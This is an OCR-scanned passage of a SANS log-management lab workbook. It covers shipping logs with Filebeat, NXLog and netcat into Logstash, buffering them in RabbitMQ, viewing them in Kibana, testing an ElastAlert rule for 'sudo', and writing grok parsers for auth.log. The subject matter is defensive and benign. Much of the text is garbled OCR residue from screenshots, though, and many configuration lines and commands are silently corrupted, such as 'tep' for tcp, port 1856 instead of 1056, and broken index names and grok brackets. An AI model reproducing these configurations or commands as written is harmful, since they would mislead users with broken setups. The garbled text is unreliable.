the filter indices by name search bar. Type 1.1 in the fi ter indices by name or alias bar.

Go back to the black terminal and hit CTRL + C to stop Logstash.
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[2018-05-21T602:25:32,1617 [WARN J[logst sh.runner " STGINT rec ived. Shutting down.
[2018-05-21T02:25:" ,680][ MFO J[logstash.pipeline T Pipeld has te minated
{:pipeline_id=>"main", :thread=>"#<Thread:0Ox4aeac31f run>"}

-

I Switch back to the Agent Terminal and hit CTRL + C to stop Filebeat. Filebeat will not display anything when stopped. Instead, it will
simply terminate.

3 - View Logs in GUI
View logs from the | b1.1-aggregator_only index using Kiba:  (search/report system)

Solu “on

In this section, the Kibana is used to view the logs stored in Elasticsearch. This demonstrates the ability to search and report on
logs once they have been collected.

While still in Firefox, click on the Kibana bookmark.

g | —

- + localt ~st

B
e
]
mm
i
]
ity
ol
L

.._Ww
i

To see logs from a new index, you must tell Kibana about the index. To do this, click on Management.

Hm

’ Next, click on Index Patterns.
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K bana

Inde= 73 tern.

Then click on Create Index Pattern.

in..cx Pat = n> Save . Chle ts

Inthe. . .pattern field, enter the index name of 1abi.i-aggregator_only . Then click on Next step.

-te~ 1 of .: _efine index pa ten

11 LA E—

la.®.1- = emator o.-

Then select the Time Filter field name and click on @timestamp and click Create index pattern.

Step 2 of 2: Configure settings

E You've defined lab1.1-aggregator_only as your Index pattern. | L v you can spedfy some setiings before we create it

TimeE -fiediname Refresh
| @timestamp PV

E The Time Fler will use this field 1o Bhervourdasa by time,

Youtra choosencitohs. a. ~d,but ", Ino .eablero
nar ¢f .yourd sbyatli erange

E > Show advanced oplions

¢ Back

g
Now you can switch back to the Discover tab by clicking on Discover.

154 © 2022 SANS Institute

Technet24


https://technet24.ir

U

By

s

Then select lab1.1-aggregator_only as your index to view the logs.

You should now see the logs you have collected.

Tim ource
¥ 7Y 20th 2.8, 13:40: 2.653  t5gs: beats ini t codoc ‘1 1m . plied,
6 3 prospector.type: loc Eeat_ hosin
otie souce: /. /o, . ks _ syslos
45 half-con -ured gco fZ-cor on:i-11 ~,
applete sgpre: -
Note

if you cannot see any logs, it may be that the logs are older than the last 15 minutes. This is the default time span selected in

Kibana. You can change this by clicking on the date picker in the top right corner. This will allow you to pick a longer period such

as the Last 6 years.
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4 - Logs to Broker

Send logs from /«  /log/*.logtoLo: -~ "usingFil © tandoutputlogsto bbit Q (log broker)

" Solution

Sending logs directly to backend storage solutions is not a good idea. If Logstash or [insert your commercial solution here] is
- taking too long to process the logs, then you could end up with a loss of logs. Instead, send them to a log broker such as RabbitMQ.
" Do this by starting Logstash usingthe a -egator_to_broker.conf configuration file. Switch back to the black t. .ninal and run the
command below. This command is a single line command.

; logstash -f /labs/1.1/files/aggregator_to_broker.conf
Wait until you see "Pipelines running." Switch back to the Agent Terminal and run Filebeat using the command below.
i filebeat -c /labs/1.1/filebeat.yml

This time, logs should be sent to the log broker rather than Elasticsearch. If you switch to your black terminal, you may have a
warning message like below.

[7018-05-21T00:27:19,734][ 'RN J[logstash.outputs.rabbitmg] Rabbi.-Q connection blocked! Check your RabbithMQ
instance! {:url=>"amqgp://student:XXXXXX@rabbitmq:5672/"}

[2018-05-21T60:27:28,645][ ARN ]J[logstash.. itputs.rabbitmq] RabbitMQ connection unblocked! {:url=>"amqp://
student:XXXXXX@rabbitmg:5672/"}
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H Note

This is nothing to worry about and is a bonus if it happens. What this is demonstrating is that Filebeat sent logs extremely

rapidly and Rabbit. Q throttled the connection due to a hard-coded memory limit. This forced Logstash to hold temporarily

before sending over more logs. In effect, this is buffering, but in production, this would happen at the log aggregator rather than
- the message queue.

To see that the logs reached RabbitMQ, switch back to Firefox and click on the bookmark to Rabbi. Q Management.

EE Y = B

Login with the username student and password of sec555.

R —
)

. name: st dent

Pa- =d. .

Login

ste

E
. If you are unable to login, run the command "docker restart rabbitmq" in a terminal. Wait about thirty seconds. Then try to login

% again.

The home page shows how many logs are currently in the log broker.

[ = t = =
- ,
i - - = Ready 1
: Unac =d
5 .7 1 - . - o4 Total 7
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In this case, the quantity is 17,663. This number may be different on your system as the configuration file used by Fileb: tis
on the Queues tab.
i 4 ote

If you do not see any logs under Ready, scroll up and repeat the Logstash and Filebeat. Make sure Logstash states "Pipelines
- running before starting Filebeat.

reading new logs generated in /var/log/ on your virtual machine. This view is helpful, but it does not break down the logs. Next, click

s
ute

At this point, logs are sent unparsed. The goal is to get them into a log broker as quickly as possible to avoid bottlenecks.

This view shows the total number of logs, # of incoming logs, and # of outgoing logs per queue. In this example, only one queue
exists. However, a production log broker may have a queue for Windows logs, firewall logs, and any other logs going through the
broker.

€+ ~ies

£

Par a3l st
Page w of1 - Filter Regex
Cove. ew . essages essage rates
atures U i . i i c
""3‘ 2 é: E Foe = i";ﬂ—a 1, ~

Switch backtothe  ck terminal and hit CTRL + C to stop Logstash.

[2018-05-21T02:27:32,161][WARN ][logstash.runner 1 SIGINT received. Shutting down.
[2018-05-21T02:27:32,600] [INFO J[logstash.pipeline ] Pipeline has terminated
{:pipeline_id=>"main", :thread=>"#<Thread:0x4aeac31f run>"}
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Switch back to the Agent Terminal and hit CTRL + C to stop Filebeat. Filebeat will not display anything when stopped. Instead, it will
simply terminate. Close out of the Agent Terminal by clicking the X in the top right corner of the terminal.

-

!

5 - Broker to Storage

UseLog "a "1to pull logs out of R bi MQ and send them to Elasticsearch in an index called lab1.1-bro!

E Solution

in this section, Logstash is used to pull logs out of Rabbi. J so that they can be parsed and enriched. After parsing and
enrichment, logs are sent to Elasticsearch for storage. This step demonstrates one or more log aggregators pulling logs out of a log
broker for processing.

The log broker is a temporary queue. It is not intended to be searched or used other than as a buffer. To pull the logs out of
RabbitMQ, parse them, and then send them off to Elasticsearch use the Logstash configuration file called broker_to_storage.conf.
Do this by running the command below.

womm

logstash —-f /labs/1.1/files/broker_to_storage.conf

Switch back to Firefox and look at the RabbitMQ queue for lab1.1. After a few seconds, it should show the total logs in the queue at
0.

L

7 ervi " .ess5ages —|
stures t dy Un |

Pl o ; o g &
|

This means the logs have been retrieved out of the log broker, parsed, and then stored in Elasticsearch. You can verify this with
Cerebro that a new index called lab1.1-broker has been created or you can move on to adding the index to Kibana. If you try to add
an index to Kibana and the index does not exist, it will not let you select a time field.

S

o

Switch back to the black terminal and hit CTRL + C to stop Logstash.

§ [2018-65-21T02:30:32,16:1[WARN ][logstash.runn o ] SIGINT received. Shut ng down.
[2018-65-21T02:30:32,600] [INFO ][logstas .pipelin 1 Pipelin has terminated
{:pipeline_id=>"main", :th cad=>"#<Thread:0x4aeac31f run>"}
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6 - View Broker Logs
View the logs from the * b1.1-brok index using ib

Solution

. logs once they have been collected.

Switch to Firefox and click on the Ki .na bookmark.

In this section, the Kibana is used to view the logs stored in Elasticsearch. This demonstrates the ability to search and report on

In Kibana, clickon  nagement.

l Next, click on Index I” tterns.

Jrana

bl “P~ eins

Next, click on Create Index Pattern.

160 © 2022 SANS Institute

Technet24


https://technet24.ir

i E {{% + - g&z QI_Ef

In the Index pattern field, enter the index name of 1abi.1-broker . Then click on Next step.

St p1 f2: Define index pattern

£13_ =
febi.1-broke
i: = E é- N F sew H
r IR B 0 - L4...0, -
7 T ¢ H H

i
Then select the Time Filter field name and click on @timestamp and click Create index pattern.

“tep of 2: Configure settings
Yoo ¢ fiy dia 1.1 B o e f 1z~
Time Filter { eld name Refresh
. o« Himestam,_ el
The eF t. . d " e
¥ ' = i -
E % i Ty Ut s} H H Lo
£ 4 = 4
k

Now you can switch back to the Discover tab by clicking on Discover.
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k

Then select lab1.1-broker as your index to view the logs.

sy 5

e -

os1

&y .- Teg Al

You should now see the logs you have collected.

Tim _sourc

1 a 2 n 2a.8, _7:27:15..48

-

beat. 1ost ame: ﬂebe;t beat.n-. . filebeat
u-ce: /var/l.g/- ke.log prospecto~.type: l-g
r 1,1..,389 t gs: beats input codec plai. a
it-: tx .stamp: ay 2+t 0 18, 17:27: ©.388

=t :"7 ~tatrs  41F- ot Figire lib-- in:a 2.

#" Not

If you cannot see any logs, it may be that the logs are older than the last 15 minutes. This is the default time span selected in
Kibana. You can change this by clicking on the date picker in the top right corner. This will allow you to pick a longer period such
. asthelLast6y. rs.
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7 Generate Test Alert

Use EI Al .rt (alert engine) to test the rule /labs/1.1/files/” +1.1_fr icy.y ml. This is an example rule that triggers
an alert if sudo is found in any logs. Elast. lert has a utility called |

A

Solution

In this section, ElastAlert is used to generate alerts against logs stored in Elasticsearch. This demonstrates how an alert engine
functions. In this instance, you are alerting on any logs that contain the string sudo.

-

In the black terminal, use the elastalert-test-rule utility to test the rule file at /labs/elastalert/rules/lab1 .1_frequency.yaml. Do this

by running the command. This command is a single line command.

L

The output should be like this:

g

R

elastalert-test-rule --config /labs/elastalert/config.yaml /labs/1.1/fi les/labl.1_frequency.yaml

© 2022 SANS Institute
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INFO:elastalert:Ignoring match for silenced rule Logs with sudo in them
INFO:elastalert:Ignoring match for silenced rule Logs with sudo in h 2
INFO:elastalert:Ignoring match for silenced rule Logs with sudo in them
INFO:elastalert:Ignoring match for silenced rule Logs with sudo +in them
INFO:elastalert:Ignoring match for silenced rule Logs with sudo in them

Would have written the following documents to writeback index (default is elastalert_status):
silence - {'rule_name': 'Logs with sudo in them', '@timestamp': datetime.datetime(2018, 5, 21, ¢, 50, 31,

406715, tzin”.=tzutc()), 'exponent': 0, 'until': datetime.datetime(2018, 5, 21, 0, 51, 31, 406705,
tzinfo=tzutc())}

etastalert_status - {'hits": 6, ‘matches': 6, '@timestamp’: datetime.datetime(2018, 5, 21, ©, 50, 31, 4088633,
tzinfo=tzutc()), 'rule_name': 'Logs with sudo in them', 'starttime': datetime.datetime(2018, 5, 20, ©, 50, 30,
949354, tzinfo=tzutc()), 'endtime': datetime.datetime(2018, 5, 21, @, 50, 36, 949354, tzinfo=tzutc()),
'time_taken': 0.4532928466796875}

The output above shows the rule would have triggered 6 alerts. This number may not match the number on your system as it
depends on how many times you have used the command sudo on your virtual machine. Scrolling up would show you some of the
logs the alert would have triggered on such as this:

INFO:elastalert:Alert for Logs with sudo in them at 2018-05-20T20:39:59.5447:
INFO:elastalert:logs with . do in them

At least 1 events occurred b. ween 2018-85-20 20:34 UTC and 2@18-05-20 20:39 UTC

@t estamp: 2018-05-20T20:39159.5447
@version: 1
_id: ByhHf2MBsMHc Hbxt3t
_index: labl.l-aggregator_only—compl te
_type: doc
% beat: {
- "hostname": "{ilebeat"™,
"name": "filebeat",
"version": "6.,2.4"
}
host: filebeat
£ messager Unpacking sude (1.8.21p2-3ubuntul)
num_hits: 6
num_matches: 6
offsc : 46967
= prospector: {
1 S "typeﬂ . "-I.Qg,"
¥
source: /var/log/bootstrap.log
syslo _facility: user— evel
syslog_facility_code: 1
syslog_severity: notice
§ syslog_severity_code: 5
tags: [
"beats_input_codec_plain_applied",
"_grokparsefailure",
"_geoip_lookup_failure"

At the end of this lab, stop  bbiti 1 with the command below.
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docker stop rabbitmg

. Step-by-Step Video Instructions

: Lab Conclusion

In this lab, you have experienced the major components and designs of a fog pipeline. This included:

* Sending logs from a log agent
* A simple log aggregation collection method without a message broker

* A more complex log aggregation collection method using a message broker for added resiliency

+ Using a GUI to access and view logs

* Interacting with an alert engine

I :1.1is now complete!
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Objectives

« Perform manual ingestion of log data

- Become familiar with multiple forms of log ingestion

« Understand the difference between picking up logs from a file compared to network ports
» Understand how to ingest files for incident response purposes manually

« Become familiar with debugging or monitoring logs during ingestion

Exercise Prenaration

Log into the Sec-555 VM

» Username: student

- Password: sec555

Exercises

Read Logs From Directory

Read logs from /labs/1.2/*.log using Logstash. Once Logstash is monitoring for /labs/1.2/*.log, copy all *.log files from /
labs/1.2/copy to /labs/1.2

l Solution
First, create a Logstash configuration file using the Visual Studio Code Editor to read the logs in /vat/log/.

code /labs/1.2/student/file.conf
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I
Next, enter the configuration needed to read /var/log/ and output to the screen.
§ input {
ile {
path => "/labs/1.2/*.log"
1
}

output {
stdout { codec => rubydebug }
1

“ Note

By default, Logstash will monitor for changes to a file or directory. This means that if a log already existed in the directory before
- Logstash started, it will not read it. The exception to this is if the file is modified after Logstash is started. Because of this
behavior, you are starting Logstash first, and then copying the log files into /labs/1.2.

} Save the file by either using CTRL + S or clicking File -> Save. Then close out of Visual Studio Code by clicking the X in the top right
. corner.

I
. Lo
Mo, .

i

! C erFile.

Cpen Folder... {Ctrivh ©
L . HRetgws

OINAAE

e

i

il _.conf . .

=

. .

=
H

e

[

il

- {
path => "/ _abs/1.2/ ..o0g

Next, run Logstash and tell it to use the file.conf configuration file you just created.
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E logstash —f /labs/1.2/student/file.conf

/s Jte

The -f parameter tells Logstash which configuration file or file to load. Iin this example, only file.conf is loaded. However, -f can
" also be used to load all configuration files in a folder.

l You should see "Pipelines running’ before continuing.

[2018-65-21T02:44:29,404T[INFO 1[logstash.pipeline 1 Pipeline started succesfully
{:pipeline_id=>"main", :thread=>"#<Thread:0x622%eb40 run>"}
l [2018-05-21T02:44:29,505] [INFO J[logstash.agent 1 Pipelines running {:count=>1, :pipelines=>["main"]}

' Now open a second

rminal.

§ Thesecond: mil is going to be used to copy files to /1 bs/1.2 while Logstash is running in another terminal. In the second
terminal, run the command below.

cp /labs/1.2/copy/*.log /labs/1.2/

below.
t {
"message’ =>
"@version” =>
"path" =>
"host" =>

"@timestamp" =>

}

This means that Log

i After a few seconds, Logstash will begin to process these logs. Switch back to your ot’ " 1al terminal, and you should see logs like

"Single card detected",

Hl" s
"/labs/1.2/gpu-manager.log",
"logstash",

2018-05-21T02:49:57.4027Z

"ash is properly monitoring /labs/1.2/*.log for new logs. At this point, you can copy over any text file ending in

log, and Logstash will process it. Keep the purple terminal open as you will need it in further steps.

168
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Back in the original terminal hit CTRL + C to stop Logstash.

[2018-05-21T03:30:32,161][WARN ][logstash.runner 1 SIGIM eceived., Shutting down.
[2018-05-21T03:30:32,6068] [INFO ][logstash.pipeline 1 Pipeline has terminated
{:pipeline_id=>"main", :thread=>"#<Thread:0x4aeac31if run>"}

Send Logs on UDP 1055

Send /labs/1.2/auth.log to Logstash over UDP port 1055

Solution
First, create a new configuration file called udp1055.conf. Do so by running the command below in any terminal.
code /labs/1.2/student/udpl@55.conf

Next, enter the configuration needed to listen on UDP port 1055 and output to the screen.

input {

udp {

port => 1055
+
: 7

output {

stdout { codec => r bydebug }
}

s

Save the file by either using CTRL + 8 or clicking File -> Save. Then close out of Visual Studio Code by clicking the X in the top right
corner.

Next, run Logstash and tell it to use the udp1055.conf configuration file you just created.

L

logstash ~f /labs/1.2/student/udpl@55.conf

If your configuration file is working, you should see "Pipelines running." At this point, Logstash is listening on UDP port 1055. Any
data received over UDP port 1055 will be turned into a log. Normally, logs are sent over the network using either Syslog or a log
agent such as NXLog. For this step, we will use NXLog.

L

The purple terminal will be referred to as either the Agent Terminal or the purple terminal. The next steps are to be performed on
the Agent Terminal. This is used to visually distinguish between Logstash, a log aggregator on the black terminal, and NXLog, a log
agent on the purple terminal. Typically, NXLog would be run on a remote machine.

R

Within the Agent Terminal, create an NXLog configuration file called nxlog.conf.

code /labs/1.2/student/nxlog.conf

i

v Next, enter the configuration needed to send auth.log over UDP port 1055 to Logstash.
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<Input in>
Module
File
ReadFromLast
SavePos
</Input>

<Qutput out>
Module

Port 1055
<fOutput>
<Route 1>

Path in => out
</Route>

* Save the file by either using CTRL + S or clicking File -> Save. Then close out of Visual Studio Code by clicking the X in the top right

corner.

im_file
"/labs/1.2/auth.log"
FALSE

FALSE

om_udp

Host logstash

* Inthe Ag 1t Terminal, run nxlog-processor and tell it to use the nxlog.conf configuration file you just created.

nxlog-processor -c¢ /labs/1.2/student/nxlog.conf

l/ ote

The nxlog-processor binary is used to process logs and then stop. It is used to invoke NXLog manually or for command line
batch jobs. Normally, the /etc/nxlog/nxlog.conf file would be edited, and then the XLog service would be restarted. The service
would read the logs and then wait for additional changes.

Back on the black terminal, you should have received logs sent from NXLog.

{
"message"
{uid=0)",
b “host"
"etimestamp”
"@version"
}

"May 20 18:10:14 ubuntu sudo: pam_unix(sudo:session): session opened for user root by

"172.18.0.9",
2018-05-21T03:49:57.385Z,
"lll

While still on the black terminal, hit CTRL + C to stop Logstash.

"2018-05-21T03:56: 1,161][WARN ][logstash.runner 1 SIGINT received. Shutting down.
[2618-05-21T03:50:32,600] [INFO ][logstash.pipeline J Pipeline .as terminated
{:pipeline_id=>"main", :thread=>"#<Thread:8x4aeac31f run>"}

Send Logs on TCP 1056

Send /I bs/1.2/auth.log to L -tash over TCP port 1056

170
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Solution

Perform these steps on the black terminal. First, create a new configuration file called tcp1056.conf.

code /labs/1.2/student/tcpl056.conf

Next, enter the configuration needed to listen on TCP port 1056 and output to the screen.

input {

tep {

port => 1056

}
T
output {

stdout { codec => rubydebug }
}

Save the file by either using CTRL + S or clicking File -> Save. Then close out of Visual Studio Code by clicking the X in the top right
corner.

Run Logstash and tell it to use the tcp1056.conf configuration file you just created.

logstash —f /labs/1.2/student/tcpl056.conf

If your configuration file is working, you should see "Pipelines running." At this point, Logstash is listening on TCP port 1056.

e

This time instead of using XLog to send auth.log to Logstash, use netcat. This tool is built into many Linux operating systems and
can be used to listening on a port or sending content over the network. Switch to the Agent Terminal and run the below command.

nc 127.0.0.1 1056 -q 1 < /labs/1.2/auth.log

- This will grab the contents of auth.log and send them over TCP to port 1056. This would work whether it was done with XLog,
netcat, or even a scripting language like PowerShell or Python.

- Back in the black terminal, you should have received logs sent from netcat such as below.

{
"port" => 46356,
"@version" => "1",
"host" => "172.18,0.1",
"message" => "May 20 19:34:21 ubuntu sudo: pam_unix(sudo:session): session closed for user root",
"@timestamp" => 2018-05-21703:25:35,9897Z
¥

% While still on the black terminal, hit CTRL + C to stop Logstash.

Send Logs to Storage

Send /" )s/1.2/auth.log to Elasticsearch
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In the black termil * create a new configuration file called es.conf.
code llabsll.z/student/es.conf
The file will look like this:

input {
tep {
port => 1856
}
}

g output {
elasticsearch {
hosts => "elasticsearch"
index => "labl.2"

Save the file by either using CTRL + S or clicking File -> Save. Then close out of Visual Studio Code by clicking the X in the top right
corner.

Run Logstash using the es.conf configuration file.
logstash -f /labs/1.2/student/es.conf

You can confirm that Logstash is configured to send logs to Elasticsearch because, during start-up, it will display the following log
message:

[2018-05-21T03:28:35,5817[INFO ][logstash.outputs.elasticsearch] New Elasticsearch output
{:class=>"LogStash: :Outputs::ElasticSearch", :thosts=>["//elasticsearch"]}

Switch to the Agent Termit | and use nett t to send logs to Logstash using the command below. Because the output is sent to
Elasticsearch, no logs will be seen from the terminal.

nc 127.0.0.1 1056 —q 1 < /labs/1.2/auth.log
| » ote
The -q 1 parameter tells netcat to quit one second after reaching the end-of-file (EOF) when sending a file.

You can tell when all logs have been sent as the command prompt will be presented again. You can now close out of the A_ it
Terminal. Switch to the black terminal hit CTRL + C to stop Logstash.

[2018~-85-21T03:32:32,161} ARN ][logstash.runner ] SIGINT received. Shutting d
[2018-05-21T83:32:32,600]1 {INFO ]J[logstash.pipeline 1 Pipeline has terminated
{:pipeline_id=>"main", :thread=>"#<Thread:@x4aeac31if run>"}
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View Logs
View the logs within Kibana

Solution

Open Firefox by clicking on the Firefox icon in the top left corner of your student VM.

If Kibana is not loaded, click on the Ki. na bookmark in Firefox.

i toralh s k

L

LE: =

To see logs from a new index, you must tell Kibana about the index. To do this, click on :nagement.

.

[

N

Next, click on Index Patterns.
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Kibana

! index Patteins

Then click on Create Index Pattern.

ns"Y, Sutn. saved Tujeds

e

" In the Index pattern field, enter the index name of lab1.2. Then click on Next step.

Step of2: - ineind - attern
dex : gtter
i.b
C - - r - g :<t>s l ". -
N B S e A S N R

Then select the Time Filter field name and click on @times. .p and click Create index pattern.

step 2 of 20 _unfig re. _Hin -

i i 1 i . v i i
L|¥.eFilerfic in ne refresh

ot 8Sa | ~
1
| |ThetoacFiE TTuset . dt Tho orr i e

FRNEEE O T F Lo, _ 0
g .
Now, you can switch back to the Discover tab by clicking on Discover.
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Then select lab1.2 as your index to view the logs.

| labt1.2

You should now see the logs you have collected.

Tir & _  ree
o7 2Bt 2718, 2007 s =S port: 46,732 e ag : . 28 1
proumix{ wd-: 1o}l T 1o gf

B feid=6} host: 17_..18...1 i
018, z :36:39.47 _ersion: 1

uP.Q3 ype: doc  inde @ l.iol.-

sy

Note

If you cannot see any logs, it may be that the logs are older than the [ast 15 minutes. This is the default time span selected in

Kibana. You can change this by clicking on the date picker in the top right corner. This will allow you to pick a longer period such
as the Last 6 years.

o
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Now feel free to browse around the Kibana interface and look at the logs ingested. Once complete, you may close Firefox and all
terminals.

' Note

Logs may be in Kibana, but they are not parsed. This makes it difficult to search for anything.

Step-by-Step Video tn'st}uctions

{.ab Conclusion

In this lab, you have learned the different ways logs can be picked up or transported. This included:

+Using Lo¢ t :to monitor files or folders for incident handling, forensics, or file share log collection
+ Using a log agent such as NXLog to ship logs

* Using netcat or scripts to transport logs

* Implementing UDP, TCP, and file-based log collection

» Shipping logs off for storage

I 1.2isnowcomp el
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' Objectives

+ Build and apply log parsers

« Identify and fix parsing issues

+ Apply log enrichment to make logs more meaningful
» Understand the importance of field standardization

+ Perform basic log correlation

Exercise Preparation

Log into the Sec-555 VM

« Username: student

« Password: sec555

Exercises

Parse auth.log

Read and parse the contents of /labs/1.3/auth.log. [nitially parse out fields for s; 'og_tim st mp, syslog_hostname,
syslog_program, syslog_pid, and syslog_message using rok. Send the logs into Elasticsearch

Note

o D

May be helpful to start with /labs/lab1.2/files/4_es.conf or your previous log configuration file used in lab 1.2
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 Sol. .n

The initial parser should use grok to carve out these fields: syslog_timestamp, syslog_hostname, syslog_program, syslog_pid, and

- syslog_mese =. This file conforms to syslog format.

' First, start by looking at the logs to come up with a game plan to parse the log.

tail -nl1 /labs/1.3/auth.log

- The entry in the file is this:

Apr 4 21:11:40 patientportal sshd[27441]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh
ruser= rhost=198.8.93.14 user=fraynor

The initial goal is to parse this type of log down into the below information.

- syslog_timestamp = Apr 4 21:11:40
- syslog_hostn ne = patientportal
- syslog_program = sshd

syslog_pid = 27441
syslog_message = PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=198.8.93.14 user=fraynor

To do this, start by copying over the configuration file from the previous lab.

mkdir -p /labs/1.3/student
cp /labs/1.2/files/4_es.conf /labs/1.3/student/grok.conf

The file is named  ok.conf as we will be using grok 1o parse auth.log. Now modify grok.conf.**
code /labs/1.3/student/grok.conf

Update the configuration to set a tag of step1 and an index of lab1.3. Also, set up the initial grok parser given.
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g

O

input {
tep {
port => 1856
tags => "stepl"
}
}

filter {
grok {
match => { "message" => "%{SYSLOGTIMESTAMP:syslog_timestamp} %{SYSLOGHOST:syslog_hostname} %
{DATA:syslog_program}\[%{POSINT:syslog_pid:int}\1: %{GREEDYDATA:syslog_message}" }
}
+

output {
elasticsearch {

hosts => "elasticsearch"
index => "labl,3"

Save the file and close the Visual Studio Code editor.

The tags parameter is used to add a tag to each log. Its value will always be step1 as that is what is specified in the configuration

file above. This is used to search for logs dealing with step1 easily. Also, the elasticsearch index has been updated to reflect lab1.3.

Outside of these changes, a filter section has been added. This section is used to parse or modify/augment logs. In this example,
grok is used to parse incoming logs from auth.log. Notice that syslog_pid has ":int" tacked on to the end. This tells Logstash to
make syslog_pid an integer field.

/.

Do not forget to add the type parameter and update the elasticsearch index! Your file should look exactly like the one above.
3

Now use Logstash to ingest the logs. Invoke Logstash with the grok.conf configuration file.

logstash —-f /labs/1.3/student/grok.conf

ote

Just like previous labs, you will need to wait for Logstash to load up. You can tell Logstash is loaded when you see "Pipelines

e

running.” This will not be explicitly called out from this point on.

Open an Agent Terminal by clicking on the purple terminal icon.
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In the Agent Terminal, use netcat to send the contents of auth.log to Logstash.

nc 127.0.0.1 1056 —g 1 < flabs/1.3/auth.log

Find parse failures
Search through logs and identify any logs that may not be parsed correctly
Sol: n

Minimize your Logstash terminal so it can parse and send logs to Elasticsearch and open Firefox.

If Kibana is not loaded, click on the Kibana bookmark in Firefox.

- ]

[ “e .

" To see logs from a new index, you must tell Kibana about the index. To do this, click on Management.
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R

TR

LTS

(20

Next, click on Index Patterns.

Ki.ana

telex P - n

Then click on Create Index Pattern.

L. x. err ved O*jec.s

—— -

In the Index pattern field, enter the index name of lab1.3. Then click on Next step.

Step 1 of 2: Define index patt m

m

L
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Then select the Time Filter field name and click or @timestamp and click Create index pattern.

Step 2 of 2: Configure setti. ;s

ous d_finedl 1.2 a. .1 gdexeratem  yoic- -
bef & .2 orateit

T eFlferfi dn : ef
_*imestamp ~

TeT &7 . Tu- v deofi*. ord -F tire

R LI & 7 B N S 2 1= s I A £ I S S

i d .

L]

'L’"."]

=z

Now you can switch back to the Discover tab by clicking on Discover.

Then select lab1.3 as your index to view the logs.
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I D

A

iabt "-comg nte

; E =

You should now see the logs you have collected. You should have 3,251 logs.

Tim ourc

h
a7l
o
]
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L
it
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o
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[ acad
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oy
4

s slog rassc e: PA 1 mo e ., ith-ntic
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14 yser=.r. .OF message: Ap 4 .1:.1
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ogn~ = u_.d= uid -ttt ss5 r re r

Set the time to the Last 24 hours by clicking on the time field in the top right corner and selecting Last 24 hours.

¥
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You should now be able to see the contents of auth.log. However, this time you should have the five additional fields created by
grok. You can now search contents of these fields. For example, type syslog_program:sshd and then click on the search button.

syslog_program:sshd

E— = _

v syslog p ogram:sshd se e

© 2022 SANS Institute 183



This will return any logs in auth.log that are related to sshd. You should show 3,239 hits. Looking at the first og shows everything

parsed out nicely. Click the down rrow on the first log to view all fields.

ay 20t 2 18, 21:14:25.395  ys q .o a-.
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_¥ersion
_id
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sg @

t e
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a5 “ge
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s sloc .
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syst_g t° esta -
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t.: nticat*on failure; logna -
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shd yslog 91
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ote

.

The # next to syslog_pid. This means it is a number field. The t on the other fields represents a string. The clock symbol
| represents a date.

Now try looking for any logs not pertaining to sshd. This can be done using -syslog_program:sshd and clicking on search.

-syslog_program:sshd

t --ysiog ~rogram: d

e AL

Ii J’:!
i
P

.
@

The dash (-) in front of syslog_program converts it to a search for anything NOT sshd. This search should show 12 hits. Expand the
log that states "session closed for user Ichancello.” This should be one of the first five logs.

M . 27t 2018, 21:14:24.9 . g ersien: 1 host: 172.18. .1 "td
2018, 21:14:24.981 message: Ap: 4
ortal syste 'd: -am ¢ 1ix systemd-usd
on closed fo use- lchancello .ri

tepl, grokparsefailure _id: 7ZDng

T ble 1. [ Iosure Y oo J.Eérrj[

& @timestamp & & M May 2-th 2818, 21:14:24.981

_ er iaon & a @ 1
id e 7ZDngGMBRNNbd] -VzgKT
Eﬁ index a g labl.%-complete
_sCare EE -
£ _tyoe &G a O doc
host @ g @ 17Z.18.8.1

: t me.sage @ ad Apr 4 2 :089:37 patientportal systemd: ;af;i
i risession): session clesed for user lohang

port @ a@m 47, 4

i tags Qq stepl, g -okparsefailure

o
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Notice the syslog fields are missing. Also, there is a tag of _grokparsefailure. Thist means that the grok parser failed to parse a
given log. In this case, it happened because these logs do not have syslog_pid specified. Here is a breakdown using this log:

Apr 4 21:09:32 patientportal systemd: pam_unix(systemd-user:session): session clos d for user lchancello

The initial goal is to parse this type of log down into the below information.

syslog_timestamp = Apr 4 21:09:32 (Your timestamp will be different)

syslog_hostname = patientportal

syslog_program = systemd

syslog_pid = X (Does not exist. This is what is causing grok to fail) syslog_message = pam_unix(systemd-user:session): session

 closed for user Ichancello

- Go back to your Logstash terminal and stop it with CTRL + C. You should see Pipeline has terminated.

[2018-05-21T04:32:44,2447 [WARN ][logstash.runner 7 SIGINT received. Shutting down.
[2018-05-21704:32:49,166] [INFO J[logstash.pipeline ] Pipeline has terminated
{:pipeline_id=>"main", :thread=>"#<Thread:0x715b7eed run>"}

Fix parse failures

Update your gro parser to account for logs missing the syslog_pid field

Solution
First, edit grok.conf.
code /labs/1.3/student/grok.conf

Update it to look like this:
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input {

tep {
= por . => 1856
tags => "step3"
¥
}
filter {
grok {

match => { "message" => "%{SYSLOGTIMESTAMP:syslog_timestamp} %{SYSLOGHOST:syslog_hostname} %
{DATA:syslog_program} (\ %{POSINT:syslog_pid}\1)?: %{GREEDYDATA:syslog_message}" }
¥
}

output {
“lasticsearch {
hosts => "elasticsearch"
indax => "labi.3"

! Note

i The grok statement was updated to include ()? around [%{POSINT:syslog_pid}]. The ()? marks the syslog_pid section as being
t optional. If it exists the syslog_pid is extracted. If it does not exist the section is ignored.

" Save the file and close the Visual Studio Code editor. Now have Logstash use the updated grok.conf.

logstash —-f /labs/1.3/student/grok.conf

MM

In the Agent Terminal, use netcat to send the contents of auth.log to Logstash.

nc 127.0.0.1 1056 —-q 1 < /labs/1.3/auth.log

Switch back to Firefox and in Kibana search for -syslog_program:sshd AND tags:step3. The AND must be in all caps. This is
required when using OR and AND statements.

e

-syslog_program:sshd AND tags:step3

vmu

-sysiog_program:sshd AND tags:ste 3 U. sfursn=>qgu~r 7y

Again, find the log that states "session closed for user Ichancello” and expand it. Because syslog_pid does not exist, the field is not
created, but the other syslog fields are created. You can compare these logs vs. previous entries by switching tags from step3 to
step1.

BB,
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The date and time of the logs (@timestamp) will not match what you see in your student VM. This is because the syslog
- timestamp has not yet been parsed and processed using the d .e plugin.

v y 2 th 7 18, 21:32:32.7218  tags: stepd  slog timest

esta =1 "a- 20.h 2.18, 21:7
i 1 sysleg hostna 2: patient
¢ essa : ‘a unix{syste
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1 syslog prog . 5 O s,ste #
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Go back to your Logstash terminal and stop it with CTRL + C. You should see "Pipeline has terminated.
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1

T2018-05-21T04:34:44,2447] ARN ][logstash.runner
20 8-05- 1T04:34:48 , 1661 [INFO J[logstash.pi peli
{:pipelin _id=>"main", :thread=>"#<Thread:0x715b7eed run>"

Parse login failures

T SIGINT re dved. Shutting do 1.
1 Pipelir has termina d

h

